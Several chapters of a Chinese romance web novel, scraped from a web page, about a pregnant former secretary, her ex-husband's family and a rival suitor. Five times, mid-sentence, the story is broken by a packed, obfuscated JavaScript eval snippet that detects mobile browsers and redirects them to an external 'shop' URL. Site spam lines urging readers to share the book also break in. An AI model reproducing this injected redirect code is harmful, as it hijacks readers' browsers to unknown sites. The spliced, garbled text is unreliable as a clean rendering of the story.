他抖了抖腿说“我跟朋友出去吃饭从来没让他们掏过钱我心情好、坏不论白天黑夜只要我一通电话他们就愿意出来陪我喝酒解闷。”
“当然我也不是傻子那些只图跟着我沾光的我都踹了。”
沈渺当然知道真正的友谊是不计较这些的。
“我帮你查。”何之洲给她使着眼色掏出手机就去打电话。
趁着他打电话的功夫沈渺又把醒酒汤回锅热了热多煮了一会儿。
片刻何之洲回来扯着笑容看起来很高兴的样子“沈渺我真没想到有一天我能交一个你这样的朋友。”
异性而且还是死对头的助理。
沈渺把热好的醒酒汤给他“就算是朋友也得注意分寸喝完了赶紧回去
“你是个大肚婆我还能对你做什么?”
被下逐客令何之洲满脸不高兴。
“是怕给你带来麻烦。”
沈渺前段时间刚出了未婚先孕的新闻。
虽然被高家压下去了但难保记者不会深挖想爆一手新闻。
“老子怕他们?”何之洲嗤声道“而且他们要是误会了**脆就认了你这个孩子干爹也是爹。”
沈渺一愣“干爹?”
何之洲眼睛一瞪“我们都是这么好的朋友了我还不能当你肚子里孩子的干爹?”
哪么好?明明刚刚才确立了朋友关系。
“你要是愿意当干爷爷也行。”何之洲咧嘴笑“到时候我比贺忱
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205414|197321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
高一辈。”
沈渺脸上划过一抹黑线“干哥哥考虑一下吧?”
何之洲咂咂嘴“那就取中依旧干爹吧。”
他端过醒酒汤小口小口地喝跟沈渺贫嘴。
接触起来何之洲这人并不讨厌而且他很有分寸聊天让人觉得很舒服。
一杯醒酒汤不够沈渺又起身给他煮了点醒酒茶。
她站在厨房忙碌何之洲在客厅扯着嗓门聊天。
沈
你的朋友正在书荒,快去帮帮他吧
渺的目光落在窗外。
树荫下一抹颀长的身影站在那里,明灭交间的烟火照亮男人轮廓分明的五官。
贺忱?
沈渺的心里咯噔一声,揉了揉眼睛再次看过去时。
却见树下一片空荡荡的,没有人。
看错了?
她汲气,将厨房的窗户关上,身体里莫名紧绷起的弦,这才松缓许多。
不远处,贺忱在树后走出来,掐灭的烟淬灭的烟火燃起一小片黑雾。
他转身朝外面走去,颀长的身影被拉得老长,单只形影。
库里南疾驰在空旷的公路上。
刺耳的铃声响了一遍又一遍,强行把贺忱不断走神的注意力拉回来。
他滑动屏幕接起,嗓音清洌,“什么事。”
“你猜,我刚刚跟谁喝酒了。”秦川的声音传来。
贺忱,“猜不到。”
那端静默数秒,秦川反问,“你怎么了?”
贺忱一直不接电话,他以为是忙工作。
此刻听到贺忱的声音,他瞬间听出不对劲。
“没事。”
秦川,“我刚刚跟何之洲喝酒,偶然遇上的,他说喝两杯。”
贺忱眸光一沉,握着方向盘的手不由得握紧,“你什么时候跟他关系也这么好了。”
这话显得很暧昧。
从一个男人嘴里说出来,更显得醋意很浓。
但精辟在那个‘也’字上。
秦川自动理解为,他真正在意的是另外一个人,跟何之洲关系好。
“他为沈渺的事情来的,你想不想听听看,他问什么了?”
223.去问问程小姐吧,我这儿有证据
贺忱喉结滚动
“哦。”秦川淡声道“那算了吧我喝了不少先睡了。”
“听声音还能喝。”
贺忱接话“再喝点我去找你。”
秦川:“……”
“你要是想知道我可以在电话里直接跟你说。”
贺忱“不想知道。”
他语气理直气壮到像是只想喝点酒解解深城夜晚的夏燥。
医院给秦川安排了住处市中心的大平层。
贺忱到的时候秦川的房门开着显然是在等他。
他拎着两瓶高浓度伏特加还有一瓶红酒进去。
“你今晚这是要喝死我。”
秦川接过酒边开瓶边说“我明天还要上班只陪一杯。”
贺忱鼻腔里发出一个单音节在沙发前坐下接过秦川递过来的酒杯。
这种默不作声喝酒的场面有过无数次。
可这一次秦川一眼看出贺忱欲言又止。
他装没看见的小口小口喝酒聊聊工作扯扯以前的事情。
凌晨一点他放下空了的酒杯起身“喝了这么多今晚别走了早点睡。”
说着他朝卧室走去。
“你不是要跟我说何之洲?”贺忱靠在沙发上长腿屈膝。
自然慵懒的姿态中透着一股不自在。
秦川轻笑一声回来坐下“何之洲问我沈渺怀孕的具体时间大概是什么时候。”
贺忱眉峰一拧“什么意思?”
“你问我我问谁?”秦川耸耸肩膀“沈渺真是个迷这么多人都对她肚子里的孩子感兴趣你真就不想知道?”
客厅一片死寂。
红褐色的液体在杯中弹出一颗颗小气泡。
影射着贺忱深沉令人琢磨不透的模样。
良久贺忱将杯中酒一饮而尽放下酒杯起身离开“睡觉。”
“贺忱你什么时候也会做懦夫了。”
秦川目送贺忱回房间半着急半无奈。
——
餐厅。
贺忱的离开让明黎艳的脸色彻底沉下来。
“伯母我刚刚好像看到沈渺了。”
程唯怡往窗外瞥了一眼她面色好不委屈“怕不是沈渺知道他今晚来跟我吃饭故意过来捣乱的吧?”
明黎艳眼眸一震精致的面容上怒气更甚。
“岂有此理沈妙她怎么敢
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
的!”
“伯母,我可以跟贺忱哥因为感情不和分开,他也可以直接跟我说不喜欢我了。但如果是被沈渺破坏了我们,我真的不甘心。”
程唯怡起身走到明黎艳身边坐下,她拉着明黎艳的胳膊。
“这事情要是传出去,贺忱哥的名声也会受到影响的。”
明黎艳最在乎的,就是贺忱的名声。
“委屈你了,这事儿就是沈渺的不是,贺忱被她迷惑住了,从一开始她就是个有心思的,估计当初贺忱娶她也是被要挟的,是我看轻她了!”
程唯怡点头的瞬间,眼泪噼里啪啦地落,“那我们要怎么办?”
明黎艳正要说什么,对上程唯怡的目光,她又改口道,“这事儿我来办,不能跟你扯上关系,不然会影响到你跟贺忱的感情,你乖乖听话,先回京北吧。”
“回,回京北?”程唯怡犹豫了下,“伯母,你到时候不会也被沈渺蛊惑了吧?”
明黎艳,“怎么可能!我还能让她一个女人给拿捏了?放心,我会断了她所有的念想,让她没有资本再要挟贺忱!”
她看来,沈渺要挟贺忱的资本……就是肚子里那个孩子。
程唯怡要做的,就是把这潭水搅混。
受伤的只有沈渺,得利的是她。
到时别说沈渺跟贺忱的可能性,他们甚至可能会成为敌人……
——
待产包都置办得差不多,沈渺连着几日没出小区门。
孕晚期,她的肚子终于看得出孕相了。
隆起的小腹,让她整个人增添了几抹温柔。
商音说,孕晚期要多运动,顺产更顺利。
她承揽了带商商逛公园的任务,每天上午吃饱饭带商商在小区公园溜一圈。
会在小区里看到明黎艳,是她没有想到的。
明黎艳坐在休息椅上,朝她看过来的目光里没有丝毫的诧异。
盯着她隆起的肚子时,快能喷出火星子的眼神告诉沈渺。
明黎艳是来找她的。
商商坐在婴儿座里,两只小手咋咋呼呼地挥
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205415|197321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
舞着。
“沈渺,我觉得你是聪明人。”明黎艳站起来,拎着黑色鳄鱼皮的包包,贵气逼人地站在沈渺面前。
沈渺沉默几秒说,“我一直觉得,您也是聪明人。”
“怎么?”明黎艳讥讽一笑,“你是在炫耀,在我眼皮子底下怀上贺忱的孩子,你比我更加聪明吗?”
她凭空捏造的本事太强,沈渺的思路根本跟不上。
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
商商虽然还小,可比较认生。
沈渺不想跟明黎艳吵架,怕吓哭了孩子,她沉默等着明黎艳的下文。
“这个孩子,我们贺家不会认的,贺忱更不会认,如果他对你有感情就不会娶唯怡,他看着不好说话其实是个软心肠,可怜这条小生命。”
明黎艳从包里拿出一张支票,五千万。
“这五千万你拿着,如果想把孩子生下来就带孩子离开贺忱的视线,我会定期给你打抚养费,如果不想要这个孩子,随便你处置,五千万当成给你的补偿。”
五千万,明黎艳真大方。
“我……”
“如果你过分贪婪,想要贺家少夫人的位置,我会让你知道什么叫偷鸡不成蚀把米!”
明黎艳打断她。
如果她不愿落得人财两空的地步,最好是乖乖听话。
“您为什么这么断定,这个孩子就是贺忱的呢?”
沈渺不信她有实证。
明黎艳冷笑道,“这孩子要不是贺忱的,他能千里迢迢追来深城吗?他最近干的那些不正常的事儿多了,不是因为这个孩子,难不成是因为喜欢上你这个大肚婆了?”
如果这个孩子不是贺忱的,贺忱怎么会围着沈渺转?
她承认沈渺长得漂亮,身段也好。
属于会让男人上头的那一挂。
可她没有魅力大到,大着肚子还让贺忱魂牵梦绕吧?
“他跟程小姐在吵架,来深城只是为了气程小姐的,程小姐看我不顺眼跟您说了什么,我不清楚,但这个孩子……与贺忱无关。”
沈渺平静地解释,“如果您不信,就去问问程小姐吧,我这儿有证据。”
她拿出手机,把吴玥珊发来的消息截图,转发给明黎艳。
224.结果你谎话连篇!
幸好当初吴玥珊为了气沈渺发了不少的截图过来。
沈渺觉得烦
此刻竟是派上用场了。
一条条截图发过来明黎艳翻看了两眼脸色逐渐铁青。
都是些上不得台面的小手段程唯怡的做法可谓是让明黎艳觉得脸上烧得慌。
“明董不管贺总跟程小姐的感情有什么问题我希望都不要牵扯到我。程小姐找您来的最终目的不管是不是为了拿我撒气还是让您逼贺总回京北我都是事外人不该卷在这件事情里面希望您高抬贵手放我一马。”
沈渺条理清晰一字一顿。
小家伙坐不住了在婴儿车里歪来歪去咿咿呀呀地指着远方。
“如果可以这份工作我也希望能辞掉比起这五千万的支票一封解约书更让我心动。”
她黑白分明的眼眸透着绝对的纯粹。
明黎艳的怒气被这股坚定的干脆击破。
她眼睁睁看着沈渺推着婴儿车离开。
半小时后程唯怡住处。
明黎艳来之前打过电话见明黎艳的车过来了程唯怡立刻起身去开门。
“伯母您回来了?”
程唯怡迎上去接过明黎艳的包。
看到明黎艳脸色不好她语气软了几分“是不是谈得不顺利?我跟沈渺接触虽然不多可她给我一种精明的感觉如今又有筹码在身肯定不好对付……”
“确实不好对付。”
明黎艳接话她打量着程唯怡“你让我在沈渺面前丢了很大的脸。”
程唯怡‘啊’了一声“怎怎么了?”
“你说沈渺肚子里的孩子是贺忱的?”明黎艳反问。
“我觉得是。”程唯怡小声说“但是我没有证据。可如果那个孩子不是贺忱哥的贺忱哥怎么会围着她转呢?”
明黎艳语气一沉“因为你们在吵架他拿沈渺来气你知道你最介意沈渺了!”
程唯怡面色一白。
“唯怡你真是越来越离谱了为了一个沈渺你折腾贺忱不够还折腾得我从千里之外赶过来为你撑腰结果你谎话连篇!”
明黎艳气的脸色涨红她指着程唯怡一脸失望“你这是要把贺忱往沈渺身边推!”
“伯母我也不想这样!”
程唯怡立马开口“可是你想过吗贺忱哥来深城找沈渺不是因为跟我吵架到底是为了什么呢?
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
我没有证据证明沈渺肚子里的孩子是贺忱哥的但是只有这一个可能性才能解释得通贺忱哥的反常……”
一切的矛头来自贺忱的反常。
明黎艳脑袋眼前一黑又一黑。
“你们真是气死我了!”
程唯怡立马上前搀扶住她“伯母对不起我不该撒谎的我就是太害怕失去贺忱哥了我不能没有贺忱哥。”
“我我不闹了我现在就回京北等着贺忱哥来娶我只要他还肯娶哪怕是养着沈渺在外面有个私生子我都愿意……”
“娶我一定要让贺忱娶你们这门婚事不能再出差错了!”
明黎艳信誓旦旦拍着程唯怡的手背“现在你跟伯母一起回京北放心只要我不松口他就一定会娶你。”
上次贺忱答应过的。
程唯怡只是想以退为进。
她可没想过真的退。
如今被明黎艳架在这里她不得不答应“好我现在就订票?”
“订吧尽快回京北。”
明黎艳看出她脸色的不甘心又添一句“放心沈渺肚子里的孩子我会给你一个交代的。”
程唯怡不敢多问了拿出手机订最近一个飞京北的航班。
当天明黎艳带着程唯怡回了京北亲自把人送回程家。
她只给程唯怡留了一句话。
“安心在家里等着
这句话犹如一颗定心丸让程唯怡提着的心落下了一些。
要说她跟贺忱的婚事明黎艳一定是最支持的。
离开程家明黎艳直奔百荣。
**开完一个会筋疲力尽地回到办公室。
看到坐在沙发上的明黎艳不由自主的一个激灵。
“明董?”
明黎艳端坐在那里指了指旁边位置“过来我有事问你。”
*
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205416|197321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
*心提起来不好的预感接踵而来。
他走过去坐下眼睛虚飘无处可放。
“我问你沈渺肚子里的孩子是不是贺忱的?”
明黎艳不确定**知不知道。
可**是最有可能知道的那个人。
他每天跟着贺忱应酬早出晚归是跟贺忱接触最多的人。
如果他都不知道那就只有贺忱跟沈渺本人知道了。
“明明董您何出此言?”**装傻充愣“这种问题您该直接去问贺总啊。”
明黎艳
听说看这本书的人都是很幸运的,分享后你的运气会更棒
眼眸一眯,锐利地看着他,“我就问你,你说!”
**吞了吞口水,这无底的洞,还是落在了他脚下。
继续隐瞒就等于跳下无底洞,什么时候落地摔个粉身碎骨,不得而知。
若不瞒着,就等于直接落地了。
可……他前些日子明明做好了准备,不包庇沈渺了。
但此刻面对的不是贺忱,而是明黎艳——
只怕,事情会闹得更大!
“明董,我不知道。”他深吸一口气道。
明黎艳盯着他看,他如坐针毡,却故作镇定。
“沈渺跟贺忱离婚后,调职到分公司,贺忱有没有去过分公司,他们有没有私下见过面?”
**摇头,“我每天工作完把贺总送回家,就下班,没再过问过贺总的行踪。”
“所以你的意思是,他们有可能私下见过面?”
明黎艳想方设法地要一个明确的答复。
但**给不出明确答复,“我没这么说,明董,您要是真想知道,该直接去问贺总。”
闻言,明黎艳心里稍稍确定,**可能是真不知道。
她沉思了一会儿问,“你去查一查,沈渺怀孕那个月的行踪,跟贺忱有没有碰过面,不许放过任何的蛛丝马迹。”
得,贺忱不查了,明黎艳又开始查。
**一个头两个大,他装模作样地问,“您是觉得沈秘书肚子里的孩子是贺总的吗?如果是,您打算怎么做?”
225.贺忱都保不住你 !
“你管这么多干什么?
明黎艳拎包站起来,“**,如果你还想要你的前途,最好是保密进行这件事情,连贺忱都不能说,否则的话……我有的是办法让你离开百荣,贺忱都保不住你!
说完,她转身离开。
贺忱在她手里,保过沈渺。
**莫名觉得,若真闹僵了,明黎艳要开除他,贺忱不见得保他。
他拧着眉,犹豫、纠结……
没等想好要不要告诉贺忱,他先让手底下的人,继续调查,并且务必拿到证据……
——
贺忱像是无孔不入的,存在在沈渺的世界里。
偏偏,不是他本人,也从来不是正面的交锋。
对此,沈渺是有些麻了的。
不过再麻,理智也告诉她,她肚子里这个孩子不找个爹,只怕很难消停。
她推着商商往回走,有些心不在焉。
婴儿车推不动了,她才回过神来。
何之洲蹲在婴儿车前,将一只小鸭子递给商商,正在逗弄商商。
“你哪里来的这么多玩具。
沈渺每次带着商商路过这里,只要遇到何之洲,何之洲都能变出玩具来。
何之洲摸了摸商商的头,站起来看着她说,“我家里买了一箱子,本来打算给**儿子的,你再不生,都给这小子了。
“我就算生了,孩子也先不会玩这些,你把那些都拿出来,给商商吧。
沈渺推着婴儿车到台阶下,她在台阶上坐下来,刚好能与商商齐平。
商商拿着小鸭子玩具,玩得正起劲。
“那可不行,每一个都是我精心挑选的,给他几个已经很不错了。
何之洲在她旁边坐下,“刚刚,那是贺忱他妈吧?
沈渺侧目看过去,“你认识?
“她妈长了一张班主任脸,化成灰我也记得。
何之洲吸吸鼻子说,“你们说话,我也听到了一些,不过我可不是故意偷听,是她说话声音太大了。
这里是深城,公寓群也没有上流圈子的人。
明黎艳说话一点都没压着声音。
路过的人都能听到,沈渺摇头说,“我知道你没偷听。
“那老太婆看着精明,怎么被程唯怡给耍得团团转?
何之洲吐槽,“我都看不下去了,差点儿就冲出去替你说话。
沈渺跟明黎艳接触的时间不短,对明黎艳的脾气有些了解。
典
如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦
型的刀子嘴豆腐心。
太过于爱恨分明,所以在某些事情上很容易冲动。
“晚上你有事吗?”何之洲见她提起跟贺忱有关的,就情绪不高涨,转移了话题。
沈渺摇头,“没事。”
“我爸让我去参加一个宴会,说有个重要的合作商,我过来顺路拜访一下。”
何之洲挠了挠头,“我哪里是应酬的那块料,你跟我一起去行不行?咱俩跟人家打个招呼就走!”
宴会都得喝酒,而且沈渺现在大着肚子,不合适。
但是拒绝的话还没说出口,沈渺就想起何之洲帮她调查浅姨。
这怕就是为数不多,能帮何之洲的地方。
“行吧,不过先说好,打个招呼就走。”
何之洲忙不迭点头,“当然,你怀孕,我也不能让你太劳累。”
宴会在晚上六点。
沈渺带商商回去后,吃了午饭休息了一会儿,才开始准备去参加宴会。
黑色不显孕肚,衬得她肤色也白。
不施粉黛也不显得憔悴,胖了几斤的缘故让她看起来气色绝佳。
她拎包出门,何之洲已经开车劳斯莱斯超跑,在门口等着。
他靠在车身上,低头玩着手机。
听到开门上,他掀起眼皮看了一眼,很快又落回手机上。
僵持片刻,他猛地抬头看过去。
傍晚夕阳斜射,打在沈渺身上,白皙的肤色透出一股金芒。
沈渺乌黑的长发束成马尾,发尾落在肩膀。
她清纯的样子,像个高中生一样。
“走吧。”
沈渺走过来,拉了拉门把手,却没拉动。
抬头看向何之洲,撞入何之洲墨色瞳仁里,她眉头一拧,“你愣什么神?”
“啊!?”何之洲回神,将手机揣兜里,绕过驾驶位亲自开车门。
拉了下门把手,他也没拉开,才想起来车锁着。
他悻悻一笑,掏出车钥匙解锁,再次拉开。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205417|197321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
三不五时落在沈渺身上的目光,看两眼沈渺又迅速移开。
沈渺忘了给商音发消息,告诉商音她今天不过去吃晚餐。
她低头发消息,没注意到何之洲的异样。
发完消息抬起头来时,莱斯莱斯超跑已经开出公寓群了。
傍晚夕阳正浓,山**错,夜风袭来,温度微凉。
沈渺带了一件花鸟格的披肩,搭在肩上。
“何家在深城还有合作商呢?”她问
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
何之洲。
“啊?”何之洲急急看她一眼,又收回目光,“很多年前,我爸到这边来过,具体什么合作商我也不清楚,反正让我来都来了就见一面,以示友好。”
沈渺点了下头,“应该的,商圈礼节多。”
何之洲跟着点头。
“等会儿参加完宴会,我请你吃宵夜吧。”
沈渺接着开口。
她想他们在宴会上待不太长时间,应酬完就出来,来不及吃东西。
“行,我请你。”何之洲毫不犹豫说,“你给我帮忙,我还能不管饭吗?”
沈渺轻笑,晃了晃手机,“我都订好餐厅了,你别嫌不好就行。”
到底是何之洲帮她的次数比较多。
何之洲看到她笑,心漏跳一拍,也跟着笑起来。
沈渺到了现场,才知道这个宴会是国内商业交流会。
宴会厅内,西装革履的男人交错着,三五成群阔谈商圈新闻。
最瞩目的,要数被数十人围着的贺忱。
他穿着暗蓝色的西装,沉稳中增添了一抹年轻朝气。
指骨清晰脉络性感的手,捏着高脚杯,推杯换盏中带着绝对上位者的气息。
与生俱来的那股矜贵,让周遭人瞬间失了颜色。
何之洲也看到了贺忱,他不由自主的看向沈渺,“要不,你找个地方躲躲,我自己去打个招呼得了,你现在毕竟还是百荣的人。”
身为百荣分部的负责人,却跟何之洲一起出席商业交流会,于理不合。
沈渺是忘了问这个宴会性质。
何之洲则是没往这方面想。
此刻真遇上贺忱,他才意识到不妥。
226.不少人都怀疑,孩子是贺忱的
“好。
沈渺虽然很抱歉,但不得不以大局为重。
她转身朝宴会厅外面走去。
人群中,鹤立鸡群的男人目光倏地看过来,落在她光滑纤细的背影上。
他几乎是一眼就认出了她。
她是跟着何之洲来的。
贺忱的面色不可抑制的沉了几分。
与他交谈的人莫名觉得背脊一凉,话都没说完就闭上嘴了。
几个人顺着他的目光看过去,却只看到了何之洲。
都说贺忱跟何之洲关系不和,现在看来果然如此。
只是没想到,会不和到贺忱看到何之洲先变脸色。
“抱歉,先告辞一下。
贺忱放下酒杯,折身去了窗边。
宴会厅在三楼,中间镂空的设计能看到一楼大厅的景象。
沈渺离开后,从电梯里出来,在大厅的沙发上坐着。
隔着一层透明的窗户,她的身影分外清晰。
贺忱的目光,不由自主落在她身上。
‘哒哒哒’的高跟鞋声音传来,在他身后停下。
他敛回目光,侧身看过来。
“贺忱,我真没见过你这么过分的人。
吴玥珊站在他身后,一脸愤愤不平,“唯怡都被你气走了,你还不去哄她,她跟你都快结婚了,你怎么能这么对她?
贺忱眸光如斯,“你这么闲,喜欢管别人的事?
“我跟唯怡的关系好,我是替她觉得不值!
吴玥珊向前一步,正欲据理力争。
说一说她在国外那两年,跟程唯怡在一起时,程唯怡字字句句不离贺忱。
她看到过程唯怡在笔记本上写满了贺忱的名字。
可她的目光看到了一楼的沈渺,骤然一缩。
“又是她?仗着自己怀着你的孩子,霸占你向唯怡发出无声的挑衅,她够嚣张的,你也够过分的!你们两个欺负唯怡!
她嗓音很大,惹得周围人侧目看过来。
众目之下,贺忱面色黑得吓人,“你手够长的,想管被人闲事之前,先弄清楚怎么回事。
他不打算在这里跟吴玥珊这个不分青红皂白的人对上。
谁知,他转身正要走,却见吴玥珊转过身朝着众人说。
“大家都认识贺总吧?京北贺家的继承人,马上就要跟我的好朋友程家千金程唯怡结婚了。
她边说边走,端起就近酒桌上的一杯红酒,又折回朝贺忱走过来。
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
“我在这里提前祝你们新婚快乐不过身为唯怡的好朋友我有一个问题想问问你。”
“你的前秘书现在的深城百荣分部负责人沈妙怀孕了孩子父不详你说你该不该给唯怡一个解释?”
人群一阵哗然后陷入死一般的寂静。
沈渺怀孕的新闻被压下去得再快也不如众口相传快。
现在还有人私下讨论那个孩子到底是谁的呢。
不少人都怀疑孩子是贺忱的。
毕竟贺忱一路提拔沈渺两人在一起工作多少年了。
日久生情还是‘日’久生情都不稀奇。
可当众这么问——
众人倒吸一口凉气给吴玥珊捏一把汗。
“高少夫人一定是误会了什么。”
有人开口给贺忱解围“今天这是商业宴会咱们不谈私事……”
“你算哪根葱?”
吴玥珊打断开口的男人“贺忱我替唯怡要个解释没有刁难你的意思如果沈渺这个孩子不是你的那你说问问她的孩子是谁的?身为上司你有权知道这件事情。”
“刁难我?”贺忱唇角掀动冷然的弧度“你不光不配刁难我也不配刁难她。”
吴玥珊面色一沉贺忱这是当众维护沈渺!
“我可以理解你这是变相承认沈渺肚子里的孩子是你的吗?”
贺忱鹰隼般的长眸微微眯着看吴玥珊的眼神像是看一块甩不掉的臭狗皮膏药。
令人厌恶。
可偏偏这件事情关乎着沈渺肚子里的孩子。
想给沈渺保留颜面他进退两难。
“她肚子里的孩子是谁的跟你有什么关系?”
何之洲剥开人群走过来打量着吴玥珊“给肚子里的孩子积点德以后没事多吃点核桃给孩子补补脑你跟个傻叉一样别生个跟你一样的孩子!”
高家在深城算头还没人敢这么跟吴玥珊说话。
她面红
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205418|197321||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
耳赤。
不待她再说什么何之洲却已经看向贺忱了。
“贺总真巧在这儿遇上了刚好我有个不情之请。”
贺忱眼眸深邃周围泛着寒意目光看向何之洲并未接话。
“我想跟你要个人。”何之洲说完这话觉得有些熟悉他乐了“这是我第二次公开跟你要人了只是这人啊还是同一个人沈渺。”
第一次在京北第二次在深城。
何之洲像是追着贺忱
你的朋友正在书荒,快去帮帮他吧
要沈渺一样。
他自顾自的打趣完,解释了句,“我太欣赏沈渺了,她办事能力强,不愧是贺总看中的人,就是不知道贺总能否忍痛割爱,把沈渺给我?”
忍痛割爱几个字,在此刻彻底具象化。
贺忱从来没觉得,割舍让出身外物,能达到如刀割的滋味。
他侧目,又看向沈渺。
恰好,沈渺等久了,抬头看过来。
对上他墨色的长眸,她愣住。
他眸底深处汹涌而来的情绪很浓,浓到她一瞬间就读懂了。
跟了贺忱这么多年,她还从未见过他如此慌乱的样子。
是慌乱。
那不崩于泰山的面容下,隐藏着的情绪。
没几秒,何之洲的面容也映入眼帘。
两人一同站在那里,齐齐看着她。
沈渺敛回目光,心里‘咯噔’一声。
是贺忱发现她跟何之洲来参加宴会,生气了?
她轻咬了下内唇,眉心皱成一团。
“沈小姐。”
一名服务员走过来,微微颔首,“贺总跟何总请您上楼去。”
沈渺汲气,沉了几秒站起来,整理了下裙摆,转身回到楼上。
刚进入宴会厅,沈渺就察觉到一股不同寻常的气息。
众人纷纷朝她看过来。
她朝贺忱走过去,人群自动让出一条路。
尽头是贺忱与何之洲并肩站着。
何之洲面含笑容,眉尾轻挑着,浪荡不堪。
短短几分钟,贺忱面色恢复如常。
只是那深沉的眸色深处,带着一抹淡淡的黯然。
“贺总,您找我?”
227.两难(男)的抉择
“是我跟他一起找你。”
何之洲朝她走过来站在她旁边低头看着她“我想邀请你到九州来工作贺总说让你自己做决定。”
沈渺杏目一颤不可置信地看向何之洲又看向贺忱。
贺忱站在那儿纹丝未动周身蔓延着掌控全场的气息。
虽然何之洲说让沈渺自己做决定。
可沈渺清楚地知道决定权还是在贺忱手上。
“何总您别开玩笑了我都在休产假了。”
“我惜才。”何之洲立马说“你要是同意立马办理入职手续产假继续休工资我照开。”
他一脸严肃当着众人这么说是认真的。
沈渺不理解短短几秒发生什么事情了?
一旁吴玥珊的脸色不怎么好看直勾勾盯着何之洲。
“贺总。”沈渺迟疑地看向贺忱
贺忱身形微动薄唇轻启道“何总惜才你自己做决定明天到公司给我一个答复。”
不等沈渺说完贺忱转身离开。
这真是同意沈渺跳槽的意思。
沈渺目光紧随着他的背影离开心就揪成一团突然就觉得喘不过气。
“呵沈渺你可真能耐居然勾搭上了他。”
吴玥珊冷笑原来沈渺这个孩子根本不是贺忱的。
是何之洲的!
她一边拿手机给程唯怡汇报‘好消息’一边转身离开。
周围人也散了场。
原地只剩下沈渺跟何之洲。
“怎么了?”沈渺脑袋有些乱“到底发生什么事情了?”
何之洲拍了拍她肩膀说“你到车上等我最多五分钟我就过来。”
说着他穿入人群朝着贺忱离开的方向走去。
酒店门口贺忱在等车。
他一口接一口深吸着烟一根烟很快过半。
“贺忱。”
何之洲追出来“男人要说话算话。”
贺忱舌尖抵住腮帮不语。
“别为难沈渺。”何之洲怕明天沈渺去找他他会变卦。
贺忱森冷的眸看过来“滚。”
何之洲不怒反笑他知道贺忱这是生气了。
但可笑的是再生气一个‘滚’字也是答应的意思。
他折身朝地下停车场走过去。
沈渺已经上了车她看到何之洲回来坐直了些。
“到
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
底怎么了?”
“吴玥珊当众质问贺忱跟你的关系追问你肚子里的孩子是不是他的如果不是他的又是谁的……”
何之洲一五一十地告知。
末了他总结了一句“贺忱避而不谈会让别人误会孩子是他的但如果他否认对你的名声会有很大的损失所以他犹豫了。”
这还是他第一次看到贺忱吃瘪。
是为了沈渺。
“你这个时候当众挖我跳槽岂不是让所有人误会我的孩子是你的?”
沈渺戳中重点“我要跳槽也等于默认这个孩子就是你的”!
何之洲侧了侧身体面对着她“这有什么问题吗?”
“当然有问题。”沈渺面色凝重“何之洲你简直在胡闹我不想从一个火坑跳到另外一个火坑!”
她怕贺忱抢孩子也不愿被明黎艳和程唯怡误会刁难。
但是何家若也以为这个孩子是何之洲的肯定也会来找她!
甩掉贺家迎来何家两个火坑轮流跳她是嫌自己命太大了?
得罪两波人。
